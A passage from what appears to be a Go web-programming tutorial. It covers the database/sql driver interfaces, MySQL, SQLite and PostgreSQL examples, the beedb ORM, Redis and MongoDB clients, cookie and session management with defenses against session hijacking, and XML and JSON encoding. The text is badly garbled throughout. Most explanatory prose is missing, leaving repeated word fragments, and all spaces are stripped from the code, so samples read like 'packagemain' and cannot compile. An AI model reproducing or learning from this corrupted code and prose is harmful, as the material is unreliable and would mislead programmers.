_Go _
2.3initinitinitinit
driver.Driver
DrivermethodOpen(namestring)Conn
typeDriverinterface{Open(namestring)(Conn,error)}
ConngoroutineConnGogoroutine
...gogoroutineA(Conn)//gogoroutineB(Conn)//...
GogoroutinegoroutineAgoroutineBB
nameConn
driver.Conn
ConnConngoroutinegoroutine
typeConninterface{Prepare(querystring)(Stmt,error)Close()errorBegin()(Tx,error)}
PrepareSQL
Closedatabase/sqlconnpool
BeginTx
driver.Stmt
StmtConngoroutinegoroutine
typeStmtinterface{Close()errorNumInput()intExec(args[]Value)(Result,error)Query(args[]Value)(Rows,error)}
Closequeryrows
NumInput>=0-1
ExecPreparesqlupdate/insertResult
QueryPreparesqlselectRows
driver.Tx
22
typeTxinterface{Commit()errorRollback()error}
2
driver.Execer
Conn
typeExecerinterface{Exec(querystring,args[]Value)(Result,error)}
DB.ExecPrepareStmtStmtExecStmt
driver.Result
Update/Insert
typeResultinterface{LastInsertId()(int64,error)RowsAffected()(int64,error)}
LastInsertIdID
RowsAffectedquery
driver.Rows
Rows
typeRowsinterface{Columns()[]stringClose()errorNext(dest[]Value)error}
Columnsslicesql
CloseRows
Nextdestdeststringdriver.Valuestring[]byteNextio.EOF
driver.RowsAffected
RowsAffectedint64ResultResult
typeRowsAffectedint64
func(RowsAffected)LastInsertId()(int64,error)
func(vRowsAffected)RowsAffected()(int64,error)
driver.Value
Value
typeValueinterface{}
driveValueValueValuenil
int64float64bool[]bytestring[*]Rows.Next stringtime.Time
driver.ValueConverter
ValueConverterdriver.Value
typeValueConverterinterface{ConvertValue(vinterface{})(Value,error)}
ValueConverter
driver.valueint64unit16driver.Valuescandriver.Value
driver.Valuer
Valuedriver.Value
typeValuerinterface{Value()(Value,error)}
Valuedriver.Value
database/sql
database/sqldatabase/sql/driverconnpool
typeDBstruct{driverdriver.Driverdsnstringmusync.Mutex//protectsfreeConnandclosedfreeConn[]driver.Connclosedbool}
OpenDBfreeConnDb.prepare deferdb.putConn(ci,err)connfreeConn00conn0conn
links
:: MySQL
5.2MySQLInternetLAMPMMySQLMySQLWeb
MySQL
GoMySQLdatabase/sql
https://github.com/go-sql-driver/mysqldatabase/sqlgohttps://github.com/ziutek/mymysqldatabase/sqlgohttps://github.com/Philio/GoMySQLdatabase/sqlgo
database/sqlkeepalive forkmymysqlkeepalivekeepalive
testuserinfouserdetail
CREATETABLE`userinfo`(`uid`INT(10)NOTNULLAUTO_INCREMENT,`username`VARCHAR(64)NULLDEFAULTNULL,`departname`VARCHAR(64)NULLDEFAULTNULL,
`created`DATENULLDEFAULTNULL,PRIMARYKEY(`uid`))
CREATETABLE`userdetail`(`uid`INT(10)NOTNULLDEFAULT'0',`intro`TEXTNULL,`profile`TEXTNULL,PRIMARYKEY(`uid`))
database/sql
packagemain
import(_"github.com/go-sql-driver/mysql""database/sql""fmt"//"time")
funcmain(){db,err:=sql.Open("mysql","astaxie:astaxie@/test?charset=utf8")checkErr(err)
//stmt,err:=db.Prepare("INSERTuserinfoSETusername=?,departname=?,created=?")checkErr(err)
res,err:=stmt.Exec("astaxie","" ,"2012-12-09")checkErr(err)
id,err:=res.LastInsertId()checkErr(err)
fmt.Println(id)//stmt,err=db.Prepare("updateuserinfosetusername=?whereuid=?")checkErr(err)
res,err=stmt.Exec("astaxieupdate",id)checkErr(err)
affect,err:=res.RowsAffected()checkErr(err)
fmt.Println(affect)
//rows,err:=db.Query("SELECT*FROMuserinfo")checkErr(err)
forrows.Next(){varuidintvarusernamestringvardepartmentstringvarcreatedstringerr=rows.Scan(&uid,&username,&department,&created)checkErr(err)fmt.Println(uid)fmt.Println(username)fmt.Println(department)fmt.Println(created)}
//stmt,err=db.Prepare("deletefromuserinfowhereuid=?")checkErr(err)
res,err=stmt.Exec(id)checkErr(err)
affect,err=res.RowsAffected()checkErr(err)
fmt.Println(affect)
db.Close()
}
funccheckErr(errerror){iferr!=nil{panic(err)}}
GoMysql
sql.Open()go-sql-drivermysqlDSN(DataSourceName)go-sql-driver
user@unix(/path/to/socket)/dbname?charset=utf8user:password@tcp(localhost:5555)/dbname?charset=utf8user:password@/dbnameuser:password@tcp([de:ad:be:ef::ca:fe]:80)/dbname
db.Prepare()sql
db.Query()SqlRows
stmt.Exec()stmtSQL
=?SQL
links
: database/sql: SQLite
5.3SQLiteSQLiteSQLSQLiteSQLiteSQLiteSQLiteAccess
Gosqlitedatabase/sql
https://github.com/mattn/go-sqlite3database/sqlcgo(cgo)https://github.com/feyeleanor/gosqlite3database/sqlcgohttps://github.com/phf/go-sqlite3database/sqlcgo
database/sqlSQLite
SQL
CREATETABLE`userinfo`(`uid`INTEGERPRIMARYKEYAUTOINCREMENT,`username`VARCHAR(64)NULL,`departname`VARCHAR(64)NULL,`created`DATENULL);
CREATETABLE`userdeatail`(`uid`INT(10)NULL,`intro`TEXTNULL,`profile`TEXTNULL,PRIMARYKEY(`uid`));
Go
packagemain
import("database/sql""fmt""time"_"github.com/mattn/go-sqlite3")
funcmain(){db,err:=sql.Open("sqlite3","./foo.db")checkErr(err)
//stmt,err:=db.Prepare("INSERTINTOuserinfo(username,departname,created)values(?,?,?)")checkErr(err)
res,err:=stmt.Exec("astaxie","" ,"2012-12-09")checkErr(err)
id,err:=res.LastInsertId()checkErr(err)
fmt.Println(id)//stmt,err=db.Prepare("updateuserinfosetusername=?whereuid=?")checkErr(err)
res,err=stmt.Exec("astaxieupdate",id)checkErr(err)
affect,err:=res.RowsAffected()checkErr(err)
fmt.Println(affect)
//rows,err:=db.Query("SELECT*FROMuserinfo")checkErr(err)
forrows.Next(){varuidintvarusernamestringvardepartmentstringvarcreatedtime.Timeerr=rows.Scan(&uid,&username,&department,&created)checkErr(err)fmt.Println(uid)fmt.Println(username)fmt.Println(department)fmt.Println(created)}
//stmt,err=db.Prepare("deletefromuserinfowhereuid=?")checkErr(err)
res,err=stmt.Exec(id)checkErr(err)
affect,err=res.RowsAffected()checkErr(err)
fmt.Println(affect)
db.Close()
}
funccheckErr(errerror){iferr!=nil{panic(err)}}
MySQL sql.OpenSQLite
sqlite http://sqliteadmin.orbmu2k.de/
links
: MySQL: PostgreSQL
5.4PostgreSQLPostgreSQL-BSD(MySQLFirebird)OracleSybaseIBMDB2MicrosoftSQLServer
PostgreSQLMySQLOraclePostgreSQL
MySQLOracle(MySQL5.5.31GPL)MySQLPostgreSQL
GoPostgreSQL
https://github.com/lib/pqdatabase/sqlGohttps://github.com/jbarham/gopgsqldriverdatabase/sqlGohttps://github.com/lxn/go-pgsqldatabase/sqlGo
github
CREATETABLEuserinfo(uidserialNOTNULL,usernamecharactervarying(100)NOTNULL,departnamecharactervarying(500)NOTNULL,Createddate,CONSTRAINTuserinfo_pkeyPRIMARYKEY(uid))WITH(OIDS=FALSE);
CREATETABLEuserdeatail(uidinteger,introcharactervarying(100),profilecharactervarying(100))WITH(OIDS=FALSE);
Go
packagemain
import("database/sql""fmt"_"https://github.com/lib/pq")
funcmain(){db,err:=sql.Open("postgres","user=astaxiepassword=astaxiedbname=testsslmode=disable")checkErr(err)
//stmt,err:=db.Prepare("INSERTINTOuserinfo(username,departname,created)VALUES($1,$2,$3)RETURNINGuid")checkErr(err)
res,err:=stmt.Exec("astaxie","" ,"2012-12-09")checkErr(err)
//pgMySQLIDid,err:=res.LastInsertId()checkErr(err)
fmt.Println(id)
//stmt,err=db.Prepare("updateuserinfosetusername=$1whereuid=$2")checkErr(err)
res,err=stmt.Exec("astaxieupdate",1)checkErr(err)
affect,err:=res.RowsAffected()checkErr(err)
fmt.Println(affect)
//rows,err:=db.Query("SELECT*FROMuserinfo")
checkErr(err)
forrows.Next(){varuidintvarusernamestringvardepartmentstringvarcreatedstringerr=rows.Scan(&uid,&username,&department,&created)checkErr(err)fmt.Println(uid)fmt.Println(username)fmt.Println(department)fmt.Println(created)}
//stmt,err=db.Prepare("deletefromuserinfowhereuid=$1")checkErr(err)
res,err=stmt.Exec(1)checkErr(err)
affect,err=res.RowsAffected()checkErr(err)
fmt.Println(affect)
db.Close()
}
funccheckErr(errerror){iferr!=nil{panic(err)}}
PostgreSQL $1$2MySQL ?sql.OpendsnMySQLdsn
pgLastInsertIdPostgreSQLMySQLID
links
: SQLite: beedbORM
5.5beedb ORMbeedbGoORMGostylestructbeedbGoORMORMORMbeedbGoORM
beedbdatabase/sqlORMdatabase/sqlbeedb
Mysql:github.com/ziutek/mymysql/godrv[*]
Mysql:code.google.com/p/go-mysql-driver[*]
PostgreSQL:github.com/bmizerany/pq[*]
SQLite:github.com/mattn/go-sqlite3[*]
MSADODB:github.com/mattn/go-adodb[*]
ODBC:bitbucket.org/miquella/mgodbc[*]
beedbgogetGoStyle
gogetgithub.com/astaxie/beedb
importdatabase/sqlbeedb
import("database/sql""github.com/astaxie/beedb"_"github.com/ziutek/mymysql/godrv")
beedbMySQL
db,err:=sql.Open("mymysql","test/xiemengjun/123456")iferr!=nil{panic(err)}orm:=beedb.New(db)
beedbNewdbMySQL/Sqlite
SQLServer
orm=beedb.New(db,"mssql")
PostgreSQL
orm=beedb.New(db,"pg")
beedb
beedb.OnDebug=true
Userinfostruct
typeUserinfostruct{Uidint`PK`//idpk
UsernamestringDepartnamestringCreatedtime.Time}
beedb UserInfoStruct user_info
structsqlSave
varsaveoneUserinfosaveone.Username="TestAddUser"saveone.Departname="TestAddDepartname"saveone.Created=time.Now()orm.Save(&saveone)
ID saveone.UidSave
beedbmap
add:=make(map[string]interface{})add["username"]="astaxie"add["departname"]="clouddevelop"add["created"]="2012-12-02"orm.SetTable("userinfo").Insert(add)
addslice:=make([]map[string]interface{},0)add:=make(map[string]interface{})add2:=make(map[string]interface{})
add["username"]="astaxie"add["departname"]="clouddevelop"add["created"]="2012-12-02"add2["username"]="astaxie2"add2["departname"]="clouddevelop2"add2["created"]="2012-12-02"addslice=append(addslice,add,add2)orm.SetTable("userinfo").InsertBatch(addslice)
jquerymethodormmethod
SetTableORMmap userinfo
saveonesavebeedbupdate
saveone.Username="UpdateUsername"saveone.Departname="UpdateDepartname"saveone.Created=time.Now()orm.Save(&saveone)//saveone
map
t:=make(map[string]interface{})t["username"]="astaxie"orm.SetTable("userinfo").SetPK("uid").Where(2).Update(t)
beedb
SetPKORM userinfo uid
Where:Where("=?",)Updatemap
beedb
1
varuserUserinfo//Where 2intorm.Where("uid=?",27).Find(&user)
2
varuser2Userinfoorm.Where(3).Find(&user2)//
3
varuser3Userinfo//Where2orm.Where("name=?","john").Find(&user3)
4
varuser4Userinfo//Where3orm.Where("name=?andage<?","john",88).Find(&user4)
1id>32010
varallusers[]Userinfoerr:=orm.Where("id>?","3").Limit(10,20).FindAll(&allusers)
2limit010
vartenusers[]Userinfoerr:=orm.Where("id>?","3").Limit(10).FindAll(&tenusers)
3
vareveryone[]Userinfoerr:=orm.OrderBy("uiddesc,usernameasc").FindAll(&everyone)
Limit
Limit:20
OrderBy:
structmap
a,_:=orm.SetTable("userinfo").SetPK("uid").Where(2).Select("uid,username").FindMap()
Select *
FindMap()[]map[string][]byte
beedb
1
//saveonesaveoneorm.Delete(&saveone)
2
//allusersliceorm.DeleteAll(&alluser)
3sql
orm.SetTable("userinfo").Where("uid>?",3).DeleteRow()
beedbstructbeedb
a,_:=orm.SetTable("userinfo").Join("LEFT","userdeatail","userinfo.uid=userdeatail.uid").Where("userinfo.uid=?",1).Select("userinfo.uid,userinfo.username,userdeatail.profile").FindMap()
Join3
INNER,LEFT,OURTER,CROSS
GroupBy Having
groupbyhavingbeedb
a,_:=orm.SetTable("userinfo").GroupBy("username").Having("username='astaxie'").FindMap()
2
GroupBy:groupby
Having:having
beedb
interfacedatabase/sql/driverbeedbCRUD
typeProfilestruct{NicknamestringMobilestring}
typeUserinfostruct{Uidint`PK`UsernamestringDepartnamestringCreatedtime.TimeProfile`HasOne`}
goroutine
links
: PostgreSQL: NOSQL
5.6NOSQLNoSQL(NotOnlySQL)Web2.0Web2.0SNSWeb2.0
Go21CNOSQLNOSQLredismongoDBCassandraMembaseredismongoDB
redis
rediskey-valueMemcachedvaluestring()list()set()zset(set)
redisFacebookinstagram
Goredis
https://github.com/garyburd/redigohttps://github.com/go-redis/redishttps://github.com/hoisie/redishttps://github.com/alphazero/Go-Redishttps://github.com/simonz05/godis
Let'sseehowtousethedriverthatredigotooperateonadatabase:
packagemain
import("fmt""github.com/garyburd/redigo/redis""os""os/signal""syscall""time")
var(Pool*redis.Pool)
funcinit(){redisHost:=":6379"Pool=newPool(redisHost)close()}
funcnewPool(serverstring)*redis.Pool{
return&redis.Pool{
MaxIdle:3,IdleTimeout:240*time.Second,
Dial:func()(redis.Conn,error){c,err:=redis.Dial("tcp",server)iferr!=nil{returnnil,err}returnc,err},
TestOnBorrow:func(credis.Conn,ttime.Time)error{_,err:=c.Do("PING")returnerr},}}
funcclose(){c:=make(chanos.Signal,1)signal.Notify(c,os.Interrupt)signal.Notify(c,syscall.SIGTERM)signal.Notify(c,syscall.SIGKILL)gofunc(){<-cPool.Close()os.Exit(0)}()}
funcGet(keystring)([]byte,error){
conn:=Pool.Get()deferconn.Close()
vardata[]bytedata,err:=redis.Bytes(conn.Do("GET",key))iferr!=nil{returndata,fmt.Errorf("errorgetkey%s:%v",key,err)}returndata,err}
funcmain(){test,err:=Get("test")fmt.Println(test,err)}
forkbug200WPV
https://github.com/astaxie/goredis
forkredis
packagemain
import("github.com/astaxie/goredis""fmt")
funcmain(){varclientgoredis.Client//redisclient.Addr="127.0.0.1:6379"
//client.Set("a",[]byte("hello"))val,_:=client.Get("a")fmt.Println(string(val))client.Del("a")
//list
vals:=[]string{"a","b","c","d","e"}for_,v:=rangevals{client.Rpush("l",[]byte(v))}dbvals,_:=client.Lrange("l",0,4)fori,v:=rangedbvals{println(i,":",string(v))}client.Del("l")}
redisclientredisredis
mongoDB
MongoDBjsonbjsonMongo
mysqlmongoDBmongoDB
5.1MongoDBMysql
GomongoDB mgopkg
GomongoDB
packagemain
import("fmt""gopkg.in/mgo.v2""gopkg.in/mgo.v2/bson""log")
typePersonstruct{Namestring
Phonestring}
funcmain(){session,err:=mgo.Dial("server1.example.com,server2.example.com")iferr!=nil{panic(err)}defersession.Close()
//Optional.Switchthesessiontoamonotonicbehavior.session.SetMode(mgo.Monotonic,true)
c:=session.DB("test").C("people")err=c.Insert(&Person{"Ale","+555381169639"},&Person{"Cla","+555384028510"})iferr!=nil{log.Fatal(err)}
result:=Person{}err=c.Find(bson.M{"name":"Ale"}).One(&result)iferr!=nil{log.Fatal(err)}
fmt.Println("Phone:",result.Phone)}
mgobeedbstructGoStyle
links
: beedbORM:
5.7
Godatabase/sqlbeedbORMNOSQLGoNOSQLGo21C21
Webdatabase/sql
Godatabase/sqltutorial
links
: NOSQL: session
6sessionWebHTTPWebWebcookiesessioncookiesessionIDSessionID2urlcookieSession
6.1sessioncookie6.2Gosessionsession6.3sessionsessionsession6.3sessionsessionsession(memcachedredis)6.4
links
:: sessioncookie
6.1session cookiesessioncookie2sessioncookie
""""
""HTTPHTTPcookiesession
cookieHTTPcookie
6.3cookie
cookie2cookie
cookiecookiecookiecookie
(setMaxAge(606024))cookiecookiecookieIE2cookie
Go cookie
Gonet/httpSetCookie
http.SetCookie(wResponseWriter,cookie*Cookie)
wresponsecookiestructcookie
typeCookiestruct{NamestringValuestringPathstringDomainstringExpirestime.TimeRawExpiresstring
//MaxAge=0meansno'Max-Age'attributespecified.//MaxAge<0meansdeletecookienow,equivalently'Max-Age:0'//MaxAge>0meansMax-AgeattributepresentandgiveninsecondsMaxAgeintSecureboolHttpOnlyboolRawstringUnparsed[]string//Rawtextofunparsedattribute-valuepairs}
cookie
expiration:=time.Now()expiration=expiration.AddDate(1,0,0)cookie:=http.Cookie{Name:"username",Value:"astaxie",Expires:expiration}http.SetCookie(w,&cookie)
Go cookie
cookiecookie
cookie,_:=r.Cookie("username")fmt.Fprint(w,cookie)
for_,cookie:=ranger.Cookies(){fmt.Fprint(w,cookie.Name)}
requestcookie
session
session/sessionsession""/""2
sessionWebSession
session()
sessionsessionIDsessionidsession(sessionURLSESSION)sessionidsessionsessionsessionidsessionid
session
sessioncookiehttpsessioncookiesessionidsessioncookiecookiecookiecookie1appABcookieBcookie2XSSappAjavascriptdocument.cookieappB
cookiesessionwebbugsession
links
: session: Gosession
6.2Go sessionsessionGosessiongosession
session
sessionIDWebsession
IDsessionideI/OsessionsessionsessionID
sessionIDHTTPBodycookieURL
1. CookieSet-cookiesessionIDIDsessioncookie0(cookie)()
2. URLURLURLsessionIDsessionIDcookie
Go session
sessionsessionsessionsession(lifecycle)gosession
session
session
session
sessionidsessionsession()session
sessiongo
Session
session
typeManagerstruct{cookieNamestring//privatecookienamelocksync.Mutex//protectssessionproviderProvidermaxlifetimeint64}
funcNewManager(provideName,cookieNamestring,maxlifetimeint64)(*Manager,error){provider,ok:=provides[provideName]if!ok{returnnil,fmt.Errorf("session:unknownprovide%q(forgottenimport?)",provideName)}return&Manager{provider:provider,cookieName:cookieName,maxlifetime:maxlifetime},nil}
Gomainsession
varglobalSessions*session.Manager//initfuncinit(){globalSessions,_=NewManager("memory","gosessionid",3600)}
sessionProvidersession
typeProviderinterface{SessionInit(sidstring)(Session,error)SessionRead(sidstring)(Session,error)SessionDestroy(sidstring)errorSessionGC(maxLifeTimeint64)}
SessionInitSessionSessionSessionReadsidSessionsidSessionInitSessionSessionDestroysidSessionSessionGCmaxLifeTime
SessionWebSessionsessionIDSession
typeSessioninterface{Set(key,valueinterface{})error//setsessionvalueGet(keyinterface{})interface{}//getsessionvalueDelete(keyinterface{})error//deletesessionvalueSessionID()string//backcurrentsessionID}
database/sql/driversessionsessionRegister
varprovides=make(map[string]Provider)
//Registermakesasessionprovideavailablebytheprovidedname.//IfRegisteriscalledtwicewiththesamenameorifdriverisnil,//itpanics.funcRegister(namestring,providerProvider){ifprovider==nil{panic("session:Registerprovideisnil")}if_,dup:=provides[name];dup{panic("session:Registercalledtwiceforprovide"+name)}provides[name]=provider}
SessionID
SessionIDWebGUID
func(manager*Manager)sessionId()string{b:=make([]byte,32)if_,err:=io.ReadFull(rand.Reader,b);err!=nil{return""}returnbase64.URLEncoding.EncodeToString(b)}
session
SessionSessionSessionStartSession
func(manager*Manager)SessionStart(whttp.ResponseWriter,r*http.Request)(sessionSession){manager.lock.Lock()defermanager.lock.Unlock()cookie,err:=r.Cookie(manager.cookieName)iferr!=nil||cookie.Value==""{sid:=manager.sessionId()session,_=manager.provider.SessionInit(sid)cookie:=http.Cookie{Name:manager.cookieName,Value:url.QueryEscape(sid),Path:"/",HttpOnly:true,MaxAge:int(manager.maxlifetime)}http.SetCookie(w,&cookie)}else{sid,_:=url.QueryUnescape(cookie.Value)session,_=manager.provider.SessionRead(sid)}return}
loginsession
funclogin(whttp.ResponseWriter,r*http.Request){sess:=globalSessions.SessionStart(w,r)r.ParseForm()ifr.Method=="GET"{t,_:=template.ParseFiles("login.gtpl")w.Header().Set("Content-Type","text/html")t.Execute(w,sess.Get("username"))}else{sess.Set("username",r.Form["username"])http.Redirect(w,r,"/",302)}}
SessionStartSessionsession
session.Get("uid")
funccount(whttp.ResponseWriter,r*http.Request){sess:=globalSessions.SessionStart(w,r)createtime:=sess.Get("createtime")ifcreatetime==nil{sess.Set("createtime",time.Now().Unix())}elseif(createtime.(int64)+360)<(time.Now().Unix()){globalSessions.SessionDestroy(w,r)sess=globalSessions.SessionStart(w,r)}ct:=sess.Get("countnum")ifct==nil{sess.Set("countnum",1)}else{sess.Set("countnum",(ct.(int)+1))}t,_:=template.ParseFiles("count.gtpl")w.Header().Set("Content-Type","text/html")t.Execute(w,sess.Get("countnum"))}
Sessionkey/valueSetGetDelete
SessionGCGCGCsessionSessionGCSession
session
Websessionsession
//Destroysessionidfunc(manager*Manager)SessionDestroy(whttp.ResponseWriter,r*http.Request){cookie,err:=r.Cookie(manager.cookieName)iferr!=nil||cookie.Value==""{return}else{manager.lock.Lock()defermanager.lock.Unlock()manager.provider.SessionDestroy(cookie.Value)expiration:=time.Now()cookie:=http.Cookie{Name:manager.cookieName,Path:"/",HttpOnly:true,Expires:expiration,MaxAge:-1}http.SetCookie(w,&cookie)}}
session
SessionMain
funcinit(){goglobalSessions.GC()}
func(manager*Manager)GC(){manager.lock.Lock()defermanager.lock.Unlock()manager.provider.SessionGC(manager.maxlifetime)time.AfterFunc(time.Duration(manager.maxlifetime),func(){manager.GC()})}
GCtime maxLifeTimeGC maxLiefTimesession
WebSessionSessionManagerSessionProviderProvider
links
: sessioncookie: session
6.3sessionSessionsessionsession
packagememory
import("container/list""github.com/astaxie/session""sync""time")
varpder=&Provider{list:list.New()}
typeSessionStorestruct{sidstring//sessionidIDtimeAccessedtime.Time//valuemap[interface{}]interface{}//session}
func(st*SessionStore)Set(key,valueinterface{})error{st.value[key]=valuepder.SessionUpdate(st.sid)
returnnil}
func(st*SessionStore)Get(keyinterface{})interface{}{pder.SessionUpdate(st.sid)ifv,ok:=st.value[key];ok{returnv}else{returnnil}returnnil}
func(st*SessionStore)Delete(keyinterface{})error{delete(st.value,key)pder.SessionUpdate(st.sid)returnnil}
func(st*SessionStore)SessionID()string{returnst.sid}
typeProviderstruct{locksync.Mutex//sessionsmap[string]*list.Element//list*list.List//gc}
func(pder*Provider)SessionInit(sidstring)(session.Session,error){pder.lock.Lock()deferpder.lock.Unlock()v:=make(map[interface{}]interface{},0)newsess:=&SessionStore{sid:sid,timeAccessed:time.Now(),value:v}element:=pder.list.PushBack(newsess)pder.sessions[sid]=elementreturnnewsess,nil}
func(pder*Provider)SessionRead(sidstring)(session.Session,error){ifelement,ok:=pder.sessions[sid];ok{returnelement.Value.(*SessionStore),nil}else{
sess,err:=pder.SessionInit(sid)returnsess,err}returnnil,nil}
func(pder*Provider)SessionDestroy(sidstring)error{ifelement,ok:=pder.sessions[sid];ok{delete(pder.sessions,sid)pder.list.Remove(element)returnnil}returnnil}
func(pder*Provider)SessionGC(maxlifetimeint64){pder.lock.Lock()deferpder.lock.Unlock()
for{element:=pder.list.Back()ifelement==nil{break}if(element.Value.(*SessionStore).timeAccessed.Unix()+maxlifetime)<time.Now().Unix(){pder.list.Remove(element)delete(pder.sessions,element.Value.(*SessionStore).sid)}else{break}}}
func(pder*Provider)SessionUpdate(sidstring)error{pder.lock.Lock()deferpder.lock.Unlock()ifelement,ok:=pder.sessions[sid];ok{element.Value.(*SessionStore).timeAccessed=time.Now()pder.list.MoveToFront(element)returnnil}returnnil}
funcinit(){pder.sessions=make(map[string]*list.Element,0)session.Register("memory",pder)}
sessioninitsession
import("github.com/astaxie/session"_"github.com/astaxie/session/providers/memory")
importmemoryinitsessionsession
varglobalSessions*session.Manager
//initfuncinit(){globalSessions,_=session.NewManager("memory","gosessionid",3600)goglobalSessions.GC()}
links
: Gosession: session
6.4sessionsessionsessionsessionIDID
session
session
count
funccount(whttp.ResponseWriter,r*http.Request){sess:=globalSessions.SessionStart(w,r)ct:=sess.Get("countnum")ifct==nil{sess.Set("countnum",1)}else{sess.Set("countnum",(ct.(int)+1))}t,_:=template.ParseFiles("count.gtpl")w.Header().Set("Content-Type","text/html")t.Execute(w,sess.Get("countnum"))}
count.gtpl
Hi.Nowcount:{{.}}
6.4count
6chromecookie
6.6cookie
6.7session
sessionIDcookiefirefoxchromegoservergosessionid""goserverhttpgosessionidHTTPgosessionidchrome""sessionchrome""
session
cookieonly token
sessionsession
sessionIDcookieURLcookiehttponlytruecookiecookieXSSsessioncookieURLsessionID
2tokenformtokentoken
h:=md5.New()salt:="astaxie%^7&8888"io.WriteString(h,salt+time.Now().String())token:=fmt.Sprintf("%x",h.Sum(nil))ifr.Form["token"]!=token{//}sess.Set("token",token)
SID
sessionsessionIDsessionsession
createtime:=sess.Get("createtime")ifcreatetime==nil{sess.Set("createtime",time.Now().Unix())}elseif(createtime.(int64)+60)<(time.Now().Unix()){globalSessions.SessionDestroy(w,r)sess=globalSessions.SessionStart(w,r)}
sessionsessionID(60)IDsessionID
sessionsessionIDsessionIDsessionIDcookiehttponlyURLXSSsessionIDMaxAge=0sessioncookie
links
: session:
6.5session/cookieGosessionsessionsessionProvidersessionsessionsessionsessionsessionsession
links
: session:
7WebJsonXMLGoGoGo
XMLJavawebserverXML7.1XMLXMLAPIJSON7.2JSON7.3GoWebMVCGoWebV7.47.57.6
links
:: XML
7.1XMLXMLWebXMLGoXML
XMLGoXML/
xml
<?xmlversion="1.0"encoding="utf-8"?><serversversion="1"><server><serverName>Shanghai_VPN</serverName><serverIP>127.0.0.1</serverIP></server><server>
<serverName>Beijing_VPN</serverName><serverIP>127.0.0.2</serverIP></server></servers>
XML2IPGoXML
XML
XMLxml Unmarshal
funcUnmarshal(data[]byte,vinterface{})error
dataXMLvinterfaceXMLstructstructXML
packagemain
import("encoding/xml""fmt""io/ioutil""os")
typeRecurlyserversstruct{XMLNamexml.Name`xml:"servers"`Versionstring`xml:"version,attr"`Svs[]server`xml:"server"`Descriptionstring`xml:",innerxml"`}
typeserverstruct{XMLNamexml.Name`xml:"server"`ServerNamestring`xml:"serverName"`ServerIPstring`xml:"serverIP"`}
funcmain(){file,err:=os.Open("servers.xml")//Forreadaccess.iferr!=nil{fmt.Printf("error:%v",err)return}deferfile.Close()data,err:=ioutil.ReadAll(file)iferr!=nil{fmt.Printf("error:%v",err)return}v:=Recurlyservers{}err=xml.Unmarshal(data,&v)iferr!=nil{fmt.Printf("error:%v",err)return}
fmt.Println(v)}
XMLgostructxml.Unmarshalxmlstruct
{{servers}1[{{server}Shanghai_VPN127.0.0.1}{{server}Beijing_VPN127.0.0.2}]<server><serverName>Shanghai_VPN</serverName><serverIP>127.0.0.1</serverIP></server><server><serverName>Beijing_VPN</serverName><serverIP>127.0.0.2</serverIP></server>}
xmlstruct xml.Unmarshalstruct xml:"serverName"structstructtag Unmarshal
funcUnmarshal(data[]byte,vinterface{})error
XMLstructslicestringXMLvUnmarshalXMLstructtagtagXML
GotagXMLstructstructtagyreflect
XMLstruct
structstring[]bytetag ",innerxml"UnmarshalxmlDescription
<server><serverName>Shanghai_VPN</serverName><serverIP>127.0.0.1</serverIP></server><server><serverName>Beijing_VPN</serverName><serverIP>127.0.0.2</serverIP></server>
structXMLNamexml.Nameelementservers
structtagXMLelementelementservernameserveripstructtag ",attr"elementversionstructtag "a>b>c"xmlabcstructtag "-"xmlstructtag ",any"
XMLtag"comments"[]bytestring
structtagtagXMLtagXMLelementslice
goxmlstruct
XML
XMLgoxml MarshalMarshalIndent
funcMarshal(vinterface{})([]byte,error)funcMarshalIndent(vinterface{},prefix,indentstring)([]byte,error)
XMLXML
XML
packagemain
import("encoding/xml""fmt""os")
typeServersstruct{XMLNamexml.Name`xml:"servers"`Versionstring`xml:"version,attr"`Svs[]server`xml:"server"`}
typeserverstruct{ServerNamestring`xml:"serverName"`ServerIPstring`xml:"serverIP"`}
funcmain(){v:=&Servers{Version:"1"}v.Svs=append(v.Svs,server{"Shanghai_VPN","127.0.0.1"})v.Svs=append(v.Svs,server{"Beijing_VPN","127.0.0.2"})output,err:=xml.MarshalIndent(v,"","")iferr!=nil{fmt.Printf("error:%v\n",err)}os.Stdout.Write([]byte(xml.Header))
os.Stdout.Write(output)}
<?xmlversion="1.0"encoding="UTF-8"?><serversversion="1"><server><serverName>Shanghai_VPN</serverName><serverIP>127.0.0.1</serverIP></server><server><serverName>Beijing_VPN</serverName><serverIP>127.0.0.2</serverIP></server></servers>
os.Stdout.Write([]byte(xml.Header)) xml.MarshalIndentxml.MarshalXMLxmlxmlHeader
Marshalvinterface{}xmlXML
varrayslice valuevMarshalvinterfaceinterfacev
XMLelementstruct
vstructXMLNametagxml.NameXMLNamestructtagstructmarshall
structtagxml
XMLNametag"-"tag"name,attr"nameXMLtag",attr"structXMLname
tag",chardata"xmlcharacterdataelementtag",innerxml"tag",comment"xml"--"tag"omitempty"XMLfalse0nilnil0arrayslicemapstring
tag"a>b>c"abbc
FirstNamestring`xml:"name>first"`LastNamestring`xml:"name>last"`
<name><first>Asta</first><last>Xie</last></name>
GoxmlXML/XMLstructtagtag
links
:: Json
7.2JSONJSONJavascriptObjectNotationCJSONXMLXMLJSONJSONXMLJSONJSONWebGoJSONGoJSONJSON/
JSON
{"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]}
JSONgojsonJSON/
JSON
JSONJSONGoJSON
funcUnmarshal(data[]byte,vinterface{})error
packagemain
import("encoding/json""fmt")
typeServerstruct{ServerNamestringServerIPstring}
typeServerslicestruct{Servers[]Server}
funcmain(){varsServerslicestr:=`{"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]}`json.Unmarshal([]byte(str),&s)fmt.Println(s)}
jsonsliceJSONKEYjsonstructJSONkey Foo
tagFoostruct()Foo
FOOFoO
JSONJSON
interface
JSON
interface{}jsonJSONmap[string]interface{}[]interface{}JSONGoJSON
boolJSONbooleans,float64JSONnumbers,stringJSONstring,nilJSONnull,
JSON
b:=[]byte(`{"Name":"Wednesday","Age":6,"Parents":["Gomez","Morticia"]}`)
interface{}
varfinterface{}err:=json.Unmarshal(b,&f)
fmapkeystringinterface{]
f=map[string]interface{}{
"Name":"Wednesday","Age":6,"Parents":[]interface{}{"Gomez","Morticia",},}
m:=f.(map[string]interface{})
fork,v:=rangem{switchvv:=v.(type){casestring:fmt.Println(k,"isstring",vv)caseint:fmt.Println(k,"isint",vv)casefloat64:fmt.Println(k,"isfloat64",vv)case[]interface{}:fmt.Println(k,"isanarray:")fori,u:=rangevv{fmt.Println(i,u)}default:fmt.Println(k,"isofatypeIdon'tknowhowtohandle")}}
